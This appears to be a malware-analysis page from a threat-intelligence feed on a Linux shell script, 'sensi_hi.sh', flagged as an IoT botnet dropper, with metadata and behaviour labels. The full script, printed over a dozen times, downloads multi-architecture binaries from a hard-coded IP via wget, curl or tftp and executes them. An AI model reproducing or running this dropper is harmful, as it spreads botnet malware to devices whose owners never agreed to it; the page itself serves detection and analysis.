c17902c68f6925b79416cf464d49e7cd78acd06144fe7084bd1818bfca969c6d

SHELL

HOSTILE

c17902c68f6925b79416cf464d49e7cd78acd06144fe7084bd1818bfca969c6d · 100%

AI IoT botnet dropper script

Mal-ecule

O(C₄)H₄(F₃Cm₆Os₃Po₄)

Size 530 B download

First seen 2 days ago

Analyzed 2 days ago

Ecosystem linux

Source abuse.ch

Also detected by 1 source

Multi-architecture fallback payload dropper: sensi_hi.sh:0x9a

Multi-architecture protocol fallback execution: sensi_hi.sh:0x9a

Multi-fetch multi-arch payload dropper: sensi_hi.sh:0x9a

sensi_hi.sh shell

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \	Multi-architecture protocol fallback execution
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \	Multi-architecture fallback payload dropper
11	tftp -g -l d -r $1 $SERVER 2>/dev/null	Multi-fetch multi-arch payload dropper
12	chmod 777 d 2>/dev/null	chmod 777 before local execution
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

Objectives

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

Micro-behaviors

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hi3520
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

Metadata

Identity

SHA-256	c17902c68f6925b79416cf464d49e7cd78acd06144fe7084bd1818bfca969c6d
Filename	sensi_hi.sh
Package	c17902c68f6925b79416cf464d49e7cd78acd06144fe7084bd1818bfca969c6d

Origin

Source	harvest
Feed	malwarebazaar
Ecosystem	linux
Domain	abuse.ch

Timeline

First seen	2 Aug 2026 06:42 UTC
First analyzed	2 Aug 2026 07:31 UTC
Last analyzed	2 Aug 2026 07:31 UTC
Last updated	2 Aug 2026 07:31 UTC

Labeling

Label	bad
Label source	harvest
Traits version	696a6

Not seeing what you expected? Let us know